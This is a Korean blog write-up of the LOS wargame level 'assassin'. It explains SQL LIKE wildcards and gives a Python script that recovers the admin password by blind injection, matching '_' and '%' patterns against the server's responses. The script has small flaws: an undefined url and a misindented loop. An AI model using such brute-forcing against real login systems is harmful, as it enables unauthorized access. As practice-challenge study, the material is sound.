Web/LOS

LOS - assassin

cloudnaaam 2024. 10. 18. 21:34

15번째 문제 assassin이다.

 

이번에는 쿼리문이 like로 되어 있다.

 

‘ 를 필터링 하기 때문에 쿼리문에서 ‘를 탈출하지 못하는데.. 계속 생각하다가 도무지 모르겠어서 구글신의 도움을 받았다.

 

알고보니 like 함수에 옵션이 있었다.

  • ~~ where pw like ‘asd%’ —> asd로 시작하는 데이터 검색
  • ~~ where pw like ‘%asd’ —> asd로 끝나는 데이터 검색
  • ~~ where pw like ‘%asd%’ —> asd가 들어가는 데이터 검색
  • ~~ where pw like ‘_a%’ —> 두 번째 문자가 a인 데이터 검색

% 는 0개 이상의 문자 대체, _는 1개의 문자 대체 라고 생각하면 된다.

 

일단 blind injection으로 해야 될 것 같아서 코드를 짰다.

 

import requests
import re

php = 'np0esjcmn39nr8ob72dkgh1qqd'
payload = ''
pattern = r'Hello\s[ag]'

for i in range(0,10):
    payload += '_'
    r = requests.get(url, params={'pw':payload}, cookies={'PHPSESSID':php})
    # print(r.text)
    if re.search(pattern, r.text):
        print(len(payload))
        break
       
       
 for i in range(1,9):
    payload = ''
    for j in range(48,123):
        payload += i * '_'  

        payload += chr(j)+'%'
        r = requests.get(url, params={'pw':payload}, cookies={'PHPSESSID':php})

        if re.search(pattern, r.text):
            if 'Hello guest' in r.text:
                print(f'{i} guest --> {payload}')
            elif 'Hello admin' in r.text:
                print(f'{i} admin --> {payload}')
        payload = ''

아마 저 코드를 실행시키면 문제가 풀어져 있을 꺼다.

 

injection 되는 페이로드 자체가 와일드카드를 통해 답이 있기 때문이다.

 

실제로 코드를 실행했을 때 admin 이 print 되는 페이로드 중 하나를 아무거나 넣어보면

 

풀었다!

'Web > LOS' 카테고리의 다른 글

LOS - zombie_assassin  (0) 2024.10.18
LOS - succubus  (1) 2024.10.18
LOS - giant  (0) 2024.10.18
LOS - bugbear  (1) 2024.09.19
LOS - darkknight  (0) 2024.09.17